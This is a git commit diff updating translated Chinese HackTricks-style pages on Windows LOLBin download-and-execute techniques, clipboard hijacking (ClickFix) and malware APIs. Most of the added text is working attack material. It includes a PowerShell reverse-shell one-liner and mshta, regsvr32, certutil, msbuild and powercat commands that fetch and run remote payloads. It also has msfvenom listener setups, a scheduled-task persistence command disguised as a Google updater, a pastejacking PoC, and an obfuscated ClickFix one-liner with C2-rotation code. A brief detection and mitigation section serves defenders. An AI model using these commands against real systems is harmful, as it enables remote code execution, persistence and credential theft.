Translated ['src/windows-hardening/av-bypass.md', 'src/generic-hacking/r

This commit is contained in:
Translator 2025-09-29 13:29:19 +00:00
parent 3c32f833e7
commit 9542a2e8a0
4 changed files with 503 additions and 382 deletions

View File

@ -4,8 +4,8 @@
## Lolbas
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 针对 Windows就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux 一样。\
显然,**Windows 中没有 SUID 文件或 sudo 权限**,但了解 **如何** 一些 **二进制文件** 可以被(滥)用来执行某种意外操作,如 **执行任意代码**是很有用的。
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 面向 Windows就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 面向 linux。
显然,**Windows 中没有 SUID 文件或 sudo 权限**,但了解一些**binaries**是**如何**被(滥)用来执行某些意想不到的操作(例如 **execute arbitrary code**是很有用的。
## NC
```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) 是一个便携且安全的 Netcat 替代品**。它在类 Unix 系统和 Win32 上运行。具有强加密、程序执行、可自定义源端口和持续重连等功能sbd 为 TCP/IP 通信提供了多功能解决方案。对于 Windows 用户,可以使用 Kali Linux 发行版中的 sbd.exe 版本作为 Netcat 的可靠替代品。
**[sbd](https://www.kali.org/tools/sbd/) 是一个便携且安全的 Netcat 替代工具**。它可在类 Unix 系统和 Win32 上运行。具有强加密、程序执行、可自定义源端口和持续重连等特性sbd 为 TCP/IP 通信提供了一个多功能的解决方案。对于 Windows 用户,可使用来自 Kali Linux 发行版的 sbd.exe 作为 Netcat 的可靠替代品。
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -82,22 +82,22 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
执行网络调用的进程:**powershell.exe**\
写入磁盘的有效载荷:**没有** (_至少在我使用 procmon 时找不到任何地方_)
Payload 已写入磁盘:**NO** (_至少在我使用 procmon 查找时没有发现_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
执行网络调用的进程:**svchost.exe**\
写入磁盘的有效载荷:**WebDAV client local cache**
发起网络调用的进程: **svchost.exe**\
Payload 写入磁盘: **WebDAV client local cache**\
**一行命令:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**在本文档末尾获取有关不同Powershell Shells的更多信息**
**在本文档末尾获取有关不同 Powershell Shells 的更多信息**
## Mshta
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
@ -109,11 +109,11 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **hta-psh 反向 shell 示例(使用 hta 下载并执行 PS 后门)**
#### **hta-psh reverse shell 示例 (使用 hta 下载并执行 PS backdoor)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**您可以非常轻松地使用 stager hta 下载并执行 Koadic 僵尸**
**你可以非常容易地使用 stager hta 下载并执行 Koadic zombie**
#### hta 示例
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
```
#### **mshta - sct**
[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**来自此处**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**被防御者检测到**
**被 defender 检测到**
## **Rundll32**
[**Dll hello world 示例**](https://github.com/carterjones/hello-world-dll)
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [来自此处](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**被防御者检测到**
**被 defender 检测到**
**Rundll32 - sct**
[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
```
## Regsvr32
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [来自此处](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**被防御者检测到**
**被 Defender 检测到**
#### Regsvr32 -sct
#### Regsvr32 arbitrary DLL export with /i argument (gatekeeping & persistence)
[**从这里**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
除了加载远程 scriptlets (`scrobj.dll`) 外,`regsvr32.exe` 还会加载本地 DLL 并调用其 `DllRegisterServer`/`DllUnregisterServer` 导出。自定义 loader 经常滥用该行为以在与已签名的 LOLBin 混淆的情况下执行任意代码。野外观测到的两个实战提示:
- Gatekeeping argument: DLL 会在未通过 `/i:<arg>` 传入特定开关时退出,例如使用 `/i:--type=renderer` 模拟 Chromium 的 renderer 子进程。这可以减少意外执行并增加对沙箱的干扰。
- Persistence: 计划任务调度 `regsvr32` 以静默并以高权限运行该 DLL并传入所需的 `/i` 参数,伪装成更新程序任务:
```powershell
Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest
```
See also: ClickFix clipboardtoPowerShell variant that stages a JS loader and later persists with `regsvr32`.
{{#ref}}
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
{{#endref}}
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
@ -249,21 +269,21 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**您可以通过 stager regsvr 非常轻松地下载并执行 Koadic 僵尸**
**你可以非常容易地使用 stager regsvr 下载并执行 Koadic 僵尸**
## Certutil
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
下载一个 B64dll解码并执行
下载一个 B64dll将其解码并执行。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
下载一个 B64exe解码并执行
下载一个 B64exe对其进行解码并执行。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**被防御者检测到**
**被 defender 检测到**
## **Cscript/Wscript**
```bash
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**被防御者检测到**
**被 Defender 检测**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
执行网络调用的进程:**svchost.exe**\
写入磁盘的有效载荷:**WebDAV 客户端本地缓存**
执行网络调用的进程: **svchost.exe**\
写入磁盘的 Payload **WebDAV 客户端本地缓存**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -289,24 +309,24 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**被防御者检测到**
**被 defender 检测到**
## **MSIExec**
攻击者
Attacker
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
受害者
受害者:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**检测**
**检测**
## **Wmic**
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
@ -322,18 +342,18 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
</ms:script>
</stylesheet>
```
**未检测到**
**未检测到**
**您可以非常轻松地使用 stager wmic 下载并执行 Koadic 僵尸**
**你可以非常容易地使用 stager wmic 下载并执行 Koadic zombie**
## Msbuild
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。因为您将被提示使用 PS shell。\
只需下载并执行此文件: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
你可以使用此技术绕过 Application Whitelisting 和 Powershell.exe 的限制。你将被提示进入 PS shell。\
只需下载并执行它: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
@ -341,13 +361,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC**
受害者机器上编译 C# 代码。
victim machine 上编译 C# 代码。
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
您可以从这里下载一个基本的 C# 反向 shell: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
你可以从这里下载一个基本的 C# reverse shell: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**未被检测**
**未被检测**
## **Regasm/Regsvc**
@ -361,11 +381,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
## Odbcconf
- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [来自此处](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
**我没有尝试过**
**我没有尝试过**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
@ -375,15 +395,15 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells** 文件夹中,有很多不同的 shell。要下载并执行 Invoke-_PowerShellTcp.ps1_请复制脚本并将其附加到文件末尾:
**Shells** 文件夹中,有很多不同的 shells。要下载并执行 Invoke-_PowerShellTcp.ps1_请复制该脚本并将其追加到文件末尾:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
网络服务器上启动脚本并在受害者端执行:
web 服务器上托管该脚本,并在受害者端执行:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender 目前尚未将其检测为恶意代码截至2019年3月4日)。
Defender 目前尚未将其识别为恶意代码(截至 3/04/2019)。
**TODO: 检查其他 nishang shells**
@ -391,15 +411,15 @@ Defender 目前尚未将其检测为恶意代码截至2019年3月4日
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
下载,启动一个网络服务器,启动监听器,并在受害者端执行它
下载,启动一个 web 服务器,启动 listener然后在受害者端执行
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender 尚未将其检测为恶意代码(截至 2019 年 3 月 4 日)。
Defender 尚未将其检测为 malicious code3/04/2019)。
**powercat 提供的其他选项:**
绑定 shell、反向 shellTCP、UDP、DNS、端口重定向、上传/下载、生成有效负载、提供文件...
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -420,37 +440,37 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
创建一个 powershell 启动器,将其保存在文件中并下载和执行
创建一个 powershell launcher将其保存到文件中然后下载并执行它
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**检测为恶意代码**
**检测为恶意 code**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
使用unicorn创建metasploit后门的powershell版本
使用 unicorn 创建 metasploit 后门的 powershell 版本
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
使用创建的资源启动 msfconsole
使用已创建的 resource 启动 msfconsole
```
msfconsole -r unicorn.rc
```
启动一个网络服务器,提供 _powershell_attack.txt_ 文件,并在受害者机器上执行:
启动一个 Web 服务器来托管 _powershell_attack.txt_ 文件,并在受害者上执行:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**检测为恶意代码**
**已被检测为恶意代码**
## 更多
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 控制台,预加载了一些攻击性 PS 模块(加密)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台,带有一些攻击性 PS 模块和代理检测IEX
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台,包含一些攻击性 PS 模块并具备代理检测IEX
## 参考
## 参考资料
- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
- [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台,带有一些攻
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# 剪贴板劫持Pastejacking攻击
# Clipboard Hijacking (Pastejacking) Attacks
{{#include ../../banners/hacktricks-training.md}}
> "永远不要粘贴你没有自己复制的内容。" 虽然老旧但仍然有效的建议
> "Never paste anything you did not copy yourself." 老生常谈,但仍然有效的建议
## 概述
剪贴板劫持 也称为 *pastejacking* 利用用户常常在不检查的情况下复制和粘贴命令的事实。恶意网页或任何支持JavaScript的环境如Electron或桌面应用程序以编程方式将攻击者控制的文本放入系统剪贴板。受害者通常通过精心设计的社会工程指令被鼓励按下 **Win + R**(运行对话框)、**Win + X**(快速访问/PowerShell或打开终端并 *粘贴* 剪贴板内容,从而立即执行任意命令。
Clipboard hijacking also known as *pastejacking* 利用用户在不检查的情况下例行复制并粘贴命令的习惯。恶意网页(或任何支持 JavaScript 的上下文,例如 Electron 或 Desktop application以编程方式将攻击者控制的文本放入系统剪贴板。受害者通常会被精心设计的社会工程指示引导按下 **Win + R** (Run dialog)、**Win + X** (Quick Access / PowerShell),或打开终端并 *paste* 剪贴板内容,从而立即执行任意命令。
因为 **没有文件被下载,也没有附件被打开**该技术绕过了大多数监控附件、宏或直接命令执行的电子邮件和网页内容安全控制。因此该攻击在传播商品恶意软件家族如NetSupport RAT、Latrodectus loader或Lumma Stealer的钓鱼活动中非常流行
因为 **不会下载文件且不会打开任何附件**,该技术能够绕过大多数监控附件、宏或直接命令执行的电子邮件和网页内容安全控制。因此该攻击常见于投放常见恶意软件家族(如 NetSupport RAT、Latrodectus loader 或 Lumma Stealer的钓鱼活动中
## JavaScript 概念验证
## JavaScript Proof-of-Concept
```html
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
}
</script>
```
较早的活动使用 `document.execCommand('copy')`,而较新的活动依赖于异步 **Clipboard API** (`navigator.clipboard.writeText`)。
Older campaigns used `document.execCommand('copy')`, newer ones rely on the asynchronous **Clipboard API** (`navigator.clipboard.writeText`).
## ClickFix / ClearFake 流程
## The ClickFix / ClearFake 流程
1. 用户访问一个拼写错误或被攻陷的网站(例如 `docusign.sa[.]com`
2. 注入的 **ClearFake** JavaScript 调用一个 `unsecuredCopyToClipboard()` 辅助函数,静默地将一个 Base64 编码的 PowerShell 单行命令存储在剪贴板中
3. HTML 指示告诉受害者:“按 **Win + R**,粘贴命令并按 Enter 以解决问题。”
4. `powershell.exe` 执行,下载一个包含合法可执行文件和恶意 DLL 的压缩包(经典的 DLL 侧载)。
5. 加载程序解密额外阶段,注入 shellcode 并安装持久性(例如计划任务)——最终运行 NetSupport RAT / Latrodectus / Lumma Stealer。
1. 用户访问一个 typosquatted 或被入侵的站点(例如 `docusign.sa[.]com`
2. 注入的 **ClearFake** JavaScript 调用 `unsecuredCopyToClipboard()` 辅助函数,悄悄将一个 Base64 编码的 PowerShell 单行脚本存入剪贴板
3. HTML 指示告诉受害者:*“按 **Win + R**,粘贴命令并按 Enter 以解决问题。”*
4. `powershell.exe` 执行,下载一个包含合法可执行文件和恶意 DLL 的归档classic DLL sideloading)。
5. loader 解密后续阶段,注入 shellcode 并安装 persistence例如 scheduled task)——最终运行 NetSupport RAT / Latrodectus / Lumma Stealer。
### 示例 NetSupport RAT 链
### 示例 NetSupport RAT 链
```powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
@ -40,50 +40,85 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
```
* `jp2launcher.exe`(合法的 Java WebStart在其目录中搜索 `msvcp140.dll`
* 恶意 DLL 动态解析 API 使用 **GetProcAddress**,通过 **curl.exe** 下载两个二进制文件`data_3.bin``data_4.bin`),使用滚动 XOR 密钥 `"https://google.com/"` 解密它们,注入最终的 shellcode 并将 **client32.exe**NetSupport RAT解压到 `C:\ProgramData\SecurityCheck_v1\`
* `jp2launcher.exe` (合法的 Java WebStart) 在其目录中查找 `msvcp140.dll`
* 恶意 DLL 使用 **GetProcAddress** 动态解析 API,通过 **curl.exe** 下载两个二进制文件 (`data_3.bin`, `data_4.bin`),使用循环 XOR 密钥 "https://google.com/" 对它们进行解密,注入最终 shellcode 并将 **client32.exe** (NetSupport RAT) 解压到 `C:\ProgramData\SecurityCheck_v1\`
### Latrodectus Loader
```
powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
1. 使用 **curl.exe** 下载 `la.txt`
2. 在 **cscript.exe** 中执行 JScript 下载器
3. 获取 MSI 有效载荷 → 在签名应用程序旁边放置 `libcef.dll` → DLL 侧载 → shellcode → Latrodectus。
2. 在 **cscript.exe** 中执行 JScript downloader
3. 获取 MSI payload → 在签名应用程序旁放置 `libcef.dll` → DLL sideloading → shellcode → Latrodectus。
### 通过 MSHTA 的 Lumma Stealer
### Lumma Stealer 通过 MSHTA
```
mshta https://iplogger.co/xxxx =+\\xxx
```
**mshta** 调用启动一个隐藏的 PowerShell 脚本,该脚本检索 `PartyContinued.exe`提取 `Boat.pst` (CAB),通过 `extrac32` 和文件连接重建 `AutoIt3.exe`,最后运行一个 `.a3x` 脚本,该脚本将浏览器凭据外泄`sumeriavgv.digital`
The **mshta** 调用启动一个隐藏的 PowerShell 脚本,该脚本检索 `PartyContinued.exe`解压 `Boat.pst`CAB通过 `extrac32` 和文件拼接重建 `AutoIt3.exe`,并最终运行一个 `.a3x` 脚本,将浏览器凭据外传`sumeriavgv.digital`
## 检测与狩猎
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
蓝队可以结合剪贴板、进程创建和注册表遥测来定位粘贴劫持滥用:
一些 ClickFix 活动完全跳过文件下载,指示受害者粘贴一个 oneliner通过 WSH 获取并执行 JavaScript使其持久化并每天轮换 C2。观察到的示例链
```powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
```
关键特征
- 以混淆形式存储的 URL 在运行时被反转以对抗随意检查。
- JavaScript 通过 Startup LNK (WScript/CScript) 持久化自身,并按当前日期选择 C2从而实现快速域名轮换。
* Windows 注册表:`HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` 保留 **Win + R** 命令的历史记录 查找不寻常的 Base64 / 混淆条目。
* 安全事件 ID **4688** (进程创建),其中 `ParentImage` == `explorer.exe``NewProcessName` 在 { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` } 中。
* 事件 ID **4663** 用于在可疑的 4688 事件之前创建的 `%LocalAppData%\Microsoft\Windows\WinX\` 或临时文件夹下的文件。
* EDR 剪贴板传感器(如果存在) 关联 `Clipboard Write` 紧接着一个新的 PowerShell 进程。
用于按日期轮换 C2s 的最小 JS 片段:
```js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
```
下一阶段通常部署一个 loader用于建立持久性并拉取一个 RAT例如 PureHVNC通常会将 TLS 固定到硬编码的证书并对流量进行分块传输。
## 缓解措施
此变体的检测思路
- 进程树: `explorer.exe``powershell.exe -c``wscript.exe <temp>\a.js`(或 `cscript.exe`)。
- 启动工件:位于 `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` 的 LNK 调用 WScript/CScriptJS 路径位于 `%TEMP%`/`%APPDATA%` 下。
- Registry/RunMRU 和命令行遥测包含 `.split('').reverse().join('')``eval(a.responseText)`
- 重复的 `powershell -NoProfile -NonInteractive -Command -`,通过大量 stdin 负载提供长脚本以避免超长命令行。
- 调度任务随后执行 LOLBins例如在看似更新程序的任务/路径下执行 `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"`(例如 `\GoogleSystem\GoogleUpdater`)。
1. 浏览器强化 禁用剪贴板写入访问 (`dom.events.asyncClipboard.clipboardItem` 等) 或要求用户手势。
2. 安全意识 教用户 *输入* 敏感命令或先将其粘贴到文本编辑器中。
3. PowerShell 受限语言模式 / 执行策略 + 应用控制以阻止任意单行命令。
4. 网络控制 阻止对已知粘贴劫持和恶意软件 C2 域的出站请求。
威胁狩猎
- 每日轮换的 C2 主机名和 URL模式为 `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>`
- 关联 clipboard 写入事件,随后 Win+R 粘贴并立即执行 `powershell.exe`
## 相关技巧
Blue-teams 可以结合 clipboard、进程创建 和 注册表 遥测 来定位 pastejacking 滥用:
* **Discord 邀请劫持** 通常在诱使用户进入恶意服务器后滥用相同的 ClickFix 方法:
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` 会保存 **Win + R** 命令历史 —— 查找异常的 Base64 / 混淆条目。
* Security Event ID **4688** (Process Creation) 当 `ParentImage` == `explorer.exe``NewProcessName` 在 { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }。
* Event ID **4663**:在可疑的 4688 事件之前,检测 `%LocalAppData%\Microsoft\Windows\WinX\` 或临时文件夹下的文件创建。
* EDR clipboard sensors (if present) 关联 `Clipboard Write` 随即出现的新 PowerShell 进程。
## Mitigations
1. Browser hardening 禁用 clipboard 写入访问(`dom.events.asyncClipboard.clipboardItem` 等),或要求用户手势。
2. Security awareness 教育用户 *手动输入* 敏感命令或先粘贴到文本编辑器中。
3. PowerShell Constrained Language Mode / Execution Policy + Application Control 来阻止任意 one-liners。
4. Network controls 阻止对已知 pastejacking 和 恶意 C2 域名的出站请求。
## Related Tricks
* **Discord Invite Hijacking** 通常在把用户诱导到恶意服务器后,滥用相同的 ClickFix 手法:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}
## 参考文献
## References
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC GitHub](https://github.com/dxa4481/Pastejacking)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# 常见的恶意软件使用的API
# 常见 API 在 Malware 中使用
{{#include ../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
### 网络
| 原始套接字 | WinAPI 套接字 |
| 原始 Sockets | WinAPI Sockets |
| ------------- | -------------- |
| socket() | WSAStratup() |
| bind() | bind() |
@ -17,9 +17,13 @@
| write() | send() |
| shutdown() | WSACleanup() |
### 持久性
### TLS pinning and chunked transport
| 注册表 | 文件 | 服务 |
Many loaders wrap their TCP stream in `SslStream` 并将服务器的 leaf certificate 与嵌入的副本进行 pincertificate pinning。Bot info/tasks 会被压缩(例如,`GZip`)。当响应超过阈值(约 ~1 MB数据会被分片为小块例如 16 KB 段),以避免基于大小的启发式检测并减少反序列化期间的内存峰值。
### 持久化
| 注册表 | 文件 | 服务 |
| ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
